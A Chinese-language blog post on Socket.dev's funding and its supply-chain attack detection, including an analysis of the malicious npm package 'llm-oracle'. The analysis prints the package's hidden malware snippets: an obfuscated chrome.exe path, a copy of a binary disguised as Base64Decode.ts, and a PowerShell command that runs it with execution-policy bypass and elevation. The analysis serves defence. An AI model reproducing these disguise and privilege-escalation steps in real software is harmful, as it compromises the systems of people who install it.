Socket.dev 获4000万美元投资,供应链安全又前进一步

2024-10-25 19:46   北京  

加州旧金山,2024 年 10 月 22 日,保护软件免受供应链攻击的平台Socket今天宣布获得 4000 万美元的融资,该平台专注于主动监控开源软件包是否存在后门、拼写错误抢注和混淆代码等恶意行为。

背景

供应链安全已经成为当今软件业面临的非常严重的问题,超过 90% 的现代应用程序都是基于开源构建的,但开源软件的安全检查一直不够完善。

围绕开源软件的检查,已经有了非常多的工具,类似SAST,SCA等,这些工具主要集中在三个功能上:一是漏洞扫描,查看使用的开源软件版本里包含哪些已知漏洞;二是软件成分分析,扫描软件,都使用及依赖了哪些开源软件;三是license分析,用于合规检查。

但是,除了已知漏洞,开源软件本身有没有安全风险,目前能做检测的非常少。

Socket是怎么做的

除了传统的SAST,SCA能力外,Socket做了更多分析:

  1. 静态分析:Socket 使用静态分析方法来检查代码(包括依赖代码)的具体风险项,这包括:

  • 寻找新的安装脚本

  • 检测网络请求

  • 检查环境变量的访问

  • 识别遥测(telemetry)活动

  • 搜索可疑字符串

  • 识别混淆代码

  • 综合分析:Socket 在开源软件包中寻找超过70个不同的信号,分析手段包括一些AI手段,象行为检查,滥用检查等

  • 分析生态中的每个包:Socket 内部开发了一个自定义静态分析引擎,用于分析 npm 生态系统中的每个软件包。这个引擎也即将支持 PyPI、Go、Maven 等其他生态系统。

  • 维护者行为分析:除了代码分析,Socket 还会分析软件包维护者的行为,包括:

    • 检查维护者的身份和活动历史

    • 警告那些维护历史可疑或由新维护者维护的软件包

    • 监控未维护、琐碎或最近经历重大重构的软件包

    • 检测“所有权不稳定”,即新维护者被授予发布权限的情况

    • 检测发布顺序异常,这可能是攻击者在旧版本上发布新补丁的迹象

      嗯,已经有多次假冒维护者或者混入开发者干坏事的了,这种方法非常及时。

  • 软件包元数据分析:Socket 还会分析软件包的元数据,以识别风险迹象,例如:

    • 软件包可能从远程 git 存储库或 HTTP 服务器加载代码,绕过锁定文件

    • 检测域名抢注,使用编辑距离和下载计数来识别冒充其他合法软件包的恶意软件包。

      这些攻击也已经多次发生了。


    在Socket的计划中,还增加了动态分析,目前还未发布。


    两个案例

    1.拼写错误已经会导致使用开源软件出现问题,这里边有一些是恶意的。下边是一个例子,bowserify非常象browserify,并且不安全,被Socket检查的结果如下,有这样的检查,类似错误大部分可以避免。一些恶意抢注域名导致的错误也可以避免。

    2.有些软件本身就是恶意的,Socket支持Malware检测。
    "llm-oracle"这个软件包听起来是LLM(大型语言模型)从业者的完美工具。它承诺提供的功能包括与各种LLM的无缝集成、可定制的模型响应以及安全的API交互。对于那些热衷于尝试新机器学习模型的开发人员来说,这个软件包无疑具有很大的吸引力。软件包的描述可能会让开发人员相信他们正在安装一个尖端的LLM集成解决方案。

    然而,这个诱人的外表下隐藏着一个险恶的动机:"llm-oracle"实际上包含了恶意代码,目的是针对并利用那些下载它的用户。尽管类似的软件包"redis-oracle"因为恶意行为最近被从NPM上移除,但"llm-oracle"仍然可用。

    "llm-oracle"的恶意行为

    "llm-oracle"中的恶意代码被精心隐藏在混淆和伪装的功能之后,如果不进行仔细检查,很难被发现。以下是攻击的详细过程:

    步骤1:混淆并定位Chrome可执行文件 恶意软件使用了混淆技术,通过编码字符来掩盖其真实目的。例如,它创建了一个名为"chrome.exe"的文件:

    const targetFilePath = path.join(  process.env.LOCALAPPDATA,  String('\\\\u0063\\\\u0068\\\\u0072\\\\u006f\\\\u006d\\\\u0065\\\\u002e\\\\u0065\\\\u0078\\\\u0065').replace(/\\\\+/g, ''));

    此代码解码为chrome.exe,该名称通常与合法进程相关联,这有助于恶意软件避免怀疑。通过使用模糊的 Unicode 字符,该脚本可以向任何查看代码的人(包括自动扫描工具)隐藏其真实意图。

    步骤2:将恶意文件复制到系统 该恶意软件包还包含一个名为“Base64Decode.ts”的文件,该文件被错误地显示为 TypeScript 实用程序文件。实际上,该文件是一个旨在破坏系统的恶意二进制文件LOCALAPPDATA。安装软件包后,脚本会将此文件复制到目录,并将其重命名为chrome.exe

    const modelFilePath = path.join(currentDir, 'Base64Decode.ts');
    // Copy the malicious file to the target location and rename itif (!fs.existsSync(targetFilePath)) { fs.copyFileSync(modelFilePath, targetFilePath);}

    重命名文件将chrome.exe恶意二进制文件伪装成合法的可执行文件,从而降低其在常规系统检查期间引发警报的可能性。

    步骤3:以提升的权限运行恶意文件

    一旦复制并重命名了“Base64Decode.ts”文件,恶意软件就会使用提升权限的 PowerShell 执行它。真正的破坏从这里开始:

    exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {  // Executes the malicious binary with administrative permissions});

    PowerShell 中的标志-ExecutionPolicy Bypass允许恶意软件绕过系统安全策略,该-Verb RunAs标志确保恶意脚本以管理权限运行。凭借这些提升的权限,恶意软件可以在受害者的系统上进行有害活动,而不受用户级权限的限制。

    关键点:“Base64Decode.ts” – 恶意二进制文件

    攻击的核心是“Base64Decode.ts”文件,它并不是它所伪装的无害的 TypeScript 文件。相反,它是一个恶意二进制文件,一旦执行就会执行一系列有害活动:

    • 系统修改:它可以改变关键的系统文件或设置,使其更难删除或检测。

    • 数据盗窃:恶意二进制文件可以收集敏感信息,例如个人数据、密码或 API 密钥。

    • 持久性:通过将自身嵌入到关键系统目录中(伪装成chrome.exe),恶意软件可确保即使在尝试删除它之后仍保留在系统中。

    • 进一步利用:它可以作为其他恶意软件的后门,或允许远程攻击者控制受感染的系统。

    毫无疑问,llm-oracel是恶意软件,这种软件,只有通过代码才能检查,传统的SAST以版本比对为主的扫描,解决不了这类问题。

    关于Socket.dev

    Socket成立于2011年,创始人为Feross Aboukhadijeh,曾作为斯坦福大学一位多产的开源维护者和网络安全讲师。此次融资为B轮,加上之前的轮次,总融资约6500万美元。

    当前团队人数不多,约40人,产品为SAAS服务,价格不算高,可以无缝集成到主流开发环境中。

    开源软件正变得越来越重要,安全问题也越来越多。相关的项目和融资也在迅速增加。


    END


    AI与安全
    理清逻辑,找到规律,看清趋势。作者前华为云高级安全专家,现为独立顾问。
     最新文章